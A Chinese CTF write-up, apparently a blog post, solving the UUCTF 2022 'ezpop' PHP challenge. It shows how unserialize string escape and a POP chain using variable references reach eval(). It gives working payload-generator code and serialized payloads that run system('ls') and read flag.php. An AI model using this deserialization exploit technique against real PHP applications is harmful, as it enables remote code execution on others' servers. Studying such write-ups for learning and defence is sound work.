[UUCTF 2022 新生赛]ezpop 详细题解(字符串逃逸)
知识点:
php反序列化字符串逃逸
php反序列化魔术方法
构造pop链
变量引用
其实这一题还是比较简单的,只要看懂代码,并且理解为什么要用反序列化字符串逃逸,下面会详细解释
题目源码:
<?php
//flag in flag.php
error_reporting(0);
class UUCTF{public $name,$key,$basedata,$ob;function __construct($str){$this->name=$str;}function __wakeup(){if($this->key==="UUCTF"){$this->ob=unserialize(base64_decode($this->basedata));}else{die("oh!you should learn PHP unserialize String escape!");}}
}
class output{public $a;function __toString(){$this->a->rce();}
}
class nothing{public $a;public $b;public $t;function __wakeup(){$this->a="";}function __destruct(){$this->b=$this->t;die($this->a);}
}
class youwant{public $cmd;function rce(){eval($this->cmd);}
}
$pdata=$_POST["data"];
if(isset($pdata))
{$data=serialize(new UUCTF($pdata));$data_replace=str_replace("hacker","loveuu!",$data);unserialize($data_replace);
}else{highlight_file(__FILE__);
}
?>
第一眼看到有很多类以及后面的反序列化函数,并且代码中间看到了eval()命令执行函数,那么基本上就需要构造pop链,先不看最后面的代码,先构造pop链
构造pop链
从后往前推,最终要执行eval($this->cmd); 需要执行rce()函数 output类中可以执行rce()函数,把output类中属性a赋值为youwant类对象
toString()方法会在一个对象被当作字符串时被调用,发现nothing类中有die方法,die是触发tostring魔术方法的方式,当die函数中的参数是字符串时,执行die函数就会输出字符串,让output类对象作为参数即可触发toString()方法
但是题目的版本是PHP/7.2.34
__wakeup()绕过漏洞存在的版本需要满足 PHP5 < 5.6.25 PHP7 < 7.0.10
这里无法绕过nothing类中的wakeup方法,参数a会被赋值为空字符串,无法赋值触发toString()
不过代码 $this->b=$this->t; 将t赋给了b,虽然a不能改,但是可以让a、b同用一个地址,那么b发生变化,a也随之变化,把t赋值为output类对象,这样 a b 就都是output类对象
__destruct()方法在反序列化执行结束自动调用,到此完成构造
pop链就是 youwant::rce() -> output::toString() -> nothing::destruct()
<?php
class output{public $a; // 2 赋值为nothing类对象}
class nothing{public $a; // 3 变量引用b,与b共用一个地址public $b; public $t; // 3 赋值为youwant类对象
}
class youwant{public $cmd; // 1 命令执行
}$a = new youwant();
$a->cmd = 'system("ls");';
$b = new output();
$b->a = $a;
$c = new nothing();
$c->a = &$c->b;
$c->t = $b;
echo serialize($c);
//结果是 O:7:"nothing":3:{s:1:"a";N;s:1:"b";R:2;s:1:"t";O:6:"output":1:{s:1:"a";O:7:"youwant":1:{s:3:"cmd";s:3:"system("ls");";}}}
为什么要利用php反序列化字符串逃逸?
刚才没看最后的代码部分,现在来看,先序列化一个UUCTF类对象,然后对序列化的字符串进行替换,把hacker替换为loveuu! 然后执行反序列化操作
关键在于只有上面构造的序列化字符串经过反序列化之后才会执行eval()函数,这里反序列化的是UUCTF类对象序列化后的字符串,明显是不会执行eval函数的
注意到UUCTF类中
if($this->key==="UUCTF")$this->ob=unserialize(base64_decode($this->basedata));
这里也可以执行反序列化操作,那么思路就是让属性basedata 赋值为上面构造的序列化字符串的base64加密形式,在代码最后一行的unserialize($data_replace)反序列化函数执行之前会自动触发wakeup方法,如果key==="UUCTF"即可执行,达到目的
<?php
class UUCTF{public $name,$key,$basedata,$ob;
}
$a = new UUCTF();
$a->key="UUCTF";
$a->basedata = "Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";
echo serialize($a);//结果 O:5:"UUCTF":4:{s:4:"name";N;s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}
上面序列化得到的结果是我们想要的,但是怎么才能构造出来呢?
代码中 $data=serialize(new UUCTF($pdata)); 我们能控制的变量只有UUCTF类中的name属性,
其他属性都无法赋值,假如给name赋值为abc 那么就类似于
O:5:"UUCTF":4:{s:4:"name";s:3:"abc";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
N表示这是一个NULL值,即没有赋值
如果要执行eval()函数,key必须是UUCTF basedata必须是构造好的可以执行eval()函数的序列化字符串,ob是结果,和basedata绑定, 只有name属性是随意的,所以在name处进行字符串逃逸
字符串逃逸:
代码中会把hacker替换为loveuu! 6个字符变为7个字符,长度增加,但是序列化字符串格式前面的个数是没变的,替换就会长度不匹配导致反序列化操作失败,但是这个替换操作会有很大的危害
O:5:"UUCTF":4:{s:4:"name";N;s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}
上面这个序列化字符串是我们想要的格式,下面这个是题目代码中执行的基本格式
O:5:"UUCTF":4:{s:4:"name";s:3:"abc";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
我们能够控制的只有里面的name的值
";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}
上面字符串长度是262 如果在这个字符串前面加上262个hacker,长度变262+6*262=7*262=1834
替换之后变成
O:5:"UUCTF":4:{s:4:"name";s:1834:"262个loveuu!";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
1834对应了262个loveuu! 后面一直到6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;} 此时一切都是正常的,反序列化函数看到;} 就当作结束符号,后面的都会忽略掉,此时最后面的key basedata都会无效,有效的就是前面构造的key和basedata,完成字符串逃逸,反序列化之后即可正常执行eval()函数
下面是完整的代码
<?php
class UUCTF{public $name,$key,$basedata,$ob;
}
class output{public $a;
}
class nothing{public $a; public $b;public $t;
}
class youwant{public $cmd; }$a = new youwant();
$a->cmd = 'system("ls");';
$b = new output();
$b->a = $a;
$c = new nothing();
$c->a = &$c->b;
$c->t = $b;
$basedata = base64_encode(serialize($c));$post='";s:3:"key";s:5:"UUCTF";s:2:"ob";N;s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";}';
for($i=0;$i<strlen($post);$i++)
{$hacker=$hacker.'hacker';}
echo $hacker.$post;
得到结果之后post传参给data 可以看到flag.php
然后把ls 改为 tac flag.php 即可得到flag
相关文章:
[UUCTF 2022 新生赛]ezpop 详细题解(字符串逃逸)
知识点: php反序列化字符串逃逸 php反序列化魔术方法 构造pop链 变量引用 其实这一题还是比较简单的,只要看懂代码,并且理解为什么要用反序列化字符串逃逸,下面会详细解释 题目源码: <?php //flag in flag.php error_reporting(0); class UUCTF{public $name,$key,$…...
【Zynq UltraScale+ RFSoC】DFE
DFE : digital front-end 数字前端 Xilinx Zynq RFSoC DFE 是一款突破性的灵活应变无线电平台,可强化数字前端 (DFE),用于 5G 大规模无线电部署和广泛的其他射频应用。 Zynq RFSoC DFE 基于唯一经过生产验证的自适应单芯片无线电…...
Ubuntu学习笔记 - Day3
文章目录 学习目标:学习内容:学习笔记:vim简介vim键盘图工作模式 vim移动光标操作上下左右移动翻页 vim替换和删除操作替换删除 vim插入模式详解进入模式搜索 vim底行模式操作保存退出行号 学习目标: 一周掌握 Linux基本使用技巧 …...
scala list系列
dd list:有序的,链表 1.建立 不可变列表 2.通过下标来访问:下标从0开始 3.不能修改 4.添加 5.删除 6.合并 7.查找,判断元素是否存在 8.遍历...
TLS协议基本原理与Wireshark分析_wireshark分析tls协议
01****背 景 随着车联网的迅猛发展,汽车已经不再是传统的机械交通工具,而是智能化、互联化的移动终端。然而,随之而来的是对车辆通信安全的日益严峻的威胁。在车联网生态系统中,车辆通过无线网络与其他车辆、基础设施以及云端服务…...
【359】基于springboot的智慧草莓基地管理系统
摘 要 现代经济快节奏发展以及不断完善升级的信息化技术,让传统数据信息的管理升级为软件存储,归纳,集中处理数据信息的管理方式。本智慧草莓基地管理系统就是在这样的大环境下诞生,其可以帮助管理者在短时间内处理完毕庞大的数据…...
【智能算法应用】遗传算法求解车间布局优化问题
摘要 本文研究了基于遗传算法(Genetic Algorithm, GA)的车间布局优化方法。遗传算法是一种基于自然选择和遗传机制的优化算法,通过编码布局方案、交叉和变异操作生成新的布局个体,选择最优的车间布局方案。实验结果表明ÿ…...
java 中List 的使用
List集合是Collection接口的子接口,其下有两个实现类分别为ArrayList和 LinkedList List是一个接口,不能用new创建对象,需要用 ArrayList类 和 LinkedList类 来创建 特点 有序:存储元素的顺序和取出元素的顺序一致可以重复&…...
CSS学习之Grid网格布局基本概念、容器属性
网格布局 网格布局(Grid)是将网页划分成一个个网格单元,可任意组合不同的网格,轻松实现各种布局效果,也是目前CSS中最强大布局方案,比Flex更强大。 基本概念 容器和项目 当一个 HTML 元素将 display 属性…...
前后端交互接口(二)
前后端交互接口(二) 前言 在上一集我们约定了我们前后端交互接口的三条规则。这一集我们就先来看一看我们的一些proto文件。 浅看proto文件 在看文件之前,还是简单谈谈Protobuf Protobuf通过一个.proto文件定义数据结构,这个…...
HarmonyOs DevEco Studio小技巧28--部分鸿蒙生命周期详解
目录 前言 页面和自定义组件生命周期 页面生命周期 onPageShow --- 表示页面已经显示 onPageHide --- 表示页面已经隐藏 onBackPress --- 表示用户点击了返回键 组件生命周期 aboutToAppear --- 表示组件即将出现 onDidBuild --- 表示组件已经构建完成 aboutToDisap…...
STM32(hal库)的msp初始化HAL_TIM_Base_MspInit有什么用?为什么单独设置这个,而不是在timer_init()函数里直接初始化?
在STM32 HAL库中,HAL_TIM_Base_MspInit 函数是一个与定时器(TIM)相关的底层初始化函数,其名称中的 "Msp" 代表 MCU Service Package(微控制器服务包),这是HAL库的一部分,用…...
三品PLM系统如何规范企业图纸文档资料电子化管理
三品PLM系统如何规范企业图纸文档资料电子化管理 图纸文档是企业设计、生产、管理的重要信息载体,是产品设计与生产维护的关键。传统纸质归档已无法满足现代需求,电子化管理成为提升效率和文档一致性的重要手段。然而,许多企业在实施电子化管…...
鸿蒙开发:arkts 如何读取json数据
为了支持ArkTS语言的开发,华为提供了完善的工具链,包括代码编辑器、编译器、调试器、测试工具等。开发者可以使用这些工具进行ArkTS应用的开发、调试和测试。同时,华为还提供了DevEco Studio这一一站式的开发平台,为运行在Harmony…...
Java学习篇之JVM 调优
Java学习篇之JVM 调优 一、JVM 是什么?二、JVM 官方参数建议三、JVM调优的场景四、如何监控JVM五、JVM调优的流程步骤1. 明确优化目标2. 监控和分析3. 确定调优参数4. 实施调优策略5. 持续观察和调整6. 定期评估和优化 一、JVM 是什么? JVM,…...
LangChain上使用huggingface的embedding模型(如jina-embeddings-v3)
一、背景知识 embedding将文本映射到稠密的向量空间中,方便存储和查询。 huggingface的embedding榜单 这里结合自己的应用场景,选择1b以下的embedding模型,综合考量下选择arkohut/jina-embeddings-v3 模型链接 下载 使用模型卡片提供的命令…...
对象优化及右值引用优化(一)
对象优化及右值引用优化 对象的函数调用时机 class Test { public:Test(int val 0) :val_(val) {cout << "Test::Test" << endl;}~Test(){cout << "Test::~Test" << endl;}Test(const Test& test){cout << "Tes…...
江西省技能培训平台(逆向破解登录国密SM2)
江西省技能培训平台(逆向破解登录) 登录破解(国密sm2加密方式) 请求接口 https://api.cloud.wozhipei.com/auth/user/v1/login 使用身份证和密码登录发现有password加密,好开始逆向js 全局搜索发现使用国密SM2进行加密 模拟算法 js 使用js进行模拟算法 <…...
用万用表测量三极管:【判断是NPN\PNP+3极性】
三极管种类分2种,一种NPN型三极管,另外一种为PNP三极管。三极管由2个PN结组成。因此,我们可以将三极管看作由2个二极管组成。通过下图可以知道,三极管的公共端为B极(基极)。 1:测量方法 用万用…...
StableDiffusion系列教程 | 什么是SD?SD能做什么?有哪些应用场景?
随着人工智能技术的飞速发展,人工智能应用已经渗透到我们生活方方面面。在众多AI技术中,Stable Diffusion(简称SD)作为一种先进的图像生成技术,正逐渐成为创意产业的新宠。在本系列的首篇文章中,我们将一起…...
Vue3 入门学习
Vue3 技术文章大纲Vue3 核心特性与优势Composition API 的设计理念与优势Composition API 是 Vue3 的核心特性之一,旨在解决 Options API 在复杂组件中逻辑分散的问题。通过 setup 函数,可以将相关逻辑组织在一起,提高代码的可读性和可维护性…...
终极SPT-AKI存档编辑器:如何轻松掌控你的逃离塔科夫离线游戏进度
终极SPT-AKI存档编辑器:如何轻松掌控你的逃离塔科夫离线游戏进度 【免费下载链接】SPT-AKI-Profile-Editor Программа для редактирования профиля игрока на сервере SPT-AKI 项目地址: https://gitcode.com/gh…...
【MATLAB源码-第442期】基于MATLAB的OFDM系统PAPR抑制算法仿真及限幅压扩SLM、PTS与TR性能对比
操作环境:MATLAB 2024a1、算法描述摘要 正交频分复用技术能够把高速数据流分解到多个正交子载波上传输,因此在宽带通信系统中具有较高的频谱利用率和较强的抗频率选择性衰落能力。公开资料显示,OFDM 已经用于 DAB、DVB、WLAN、WiMAX、第四代和…...
实测好用降AI工具盘点 2026高性价比首选
前言 刚完成毕业答辩的过来人真心建议,别再跟论文AI检测死磕了!我当初对着检测报告上飘红的高风险提示熬了好几个通宵,自己改了三版,导师扫了两眼就说“AI痕迹太重,回去重改”。那段时间我把市面上能找到的降AI工具试了…...
别再一股脑塞Prompt了!Claude/GPT-3.5-Turbo-16k实测:关键信息放开头还是结尾?
大模型长文本处理实战:关键信息位置对生成效果的影响机制与优化策略 当开发者面对Claude、GPT-3.5-Turbo-16k这类支持长上下文的大语言模型时,常陷入一个典型困境:明明已将全部资料塞入上下文窗口,模型却依然遗漏关键信息或给出偏…...
如何将短信从Android传输到 iPhone
每次苹果发布新款 iPhone,都会吸引大量渴望更换手机的用户,其中也包括许多Android用户。对于这些Android用户来说, 将数据从Android迁移到新 iPhone是当务之急,尤其是传输短信,因为短信通常包含个人和职业生活的重要信…...
Ryujinx终极指南:免费开源Switch模拟器快速入门与性能优化
Ryujinx终极指南:免费开源Switch模拟器快速入门与性能优化 【免费下载链接】Ryujinx 用 C# 编写的实验性 Nintendo Switch 模拟器 项目地址: https://gitcode.com/GitHub_Trending/ry/Ryujinx Ryujinx是一款基于C#开发的开源Nintendo Switch模拟器࿰…...
如何永久激活IDM?2024终极免费激活与试用重置完全指南
如何永久激活IDM?2024终极免费激活与试用重置完全指南 【免费下载链接】IDM-Activation-Script IDM Activation & Trail Reset Script 项目地址: https://gitcode.com/gh_mirrors/id/IDM-Activation-Script IDM Activation Script是一款专为Internet Dow…...
chatgpt-mirai-qq-bot输入输出参数:类型验证和默认值处理
chatgpt-mirai-qq-bot输入输出参数:类型验证和默认值处理 在构建复杂的聊天机器人系统时,输入输出参数的类型验证和默认值处理是确保系统稳定性和可靠性的关键。chatgpt-mirai-qq-bot项目通过精心设计的参数处理机制,为开发者提供了强大的类型…...
chatgpt-mirai-qq-bot内存持久化:文件和Redis存储方案对比
chatgpt-mirai-qq-bot内存持久化:文件和Redis存储方案对比 你是否在为聊天机器人的记忆管理而烦恼?在多轮对话中,如何确保机器人能够记住上下文,同时保证数据的安全性和性能?chatgpt-mirai-qq-bot提供了两种内存持久化…...
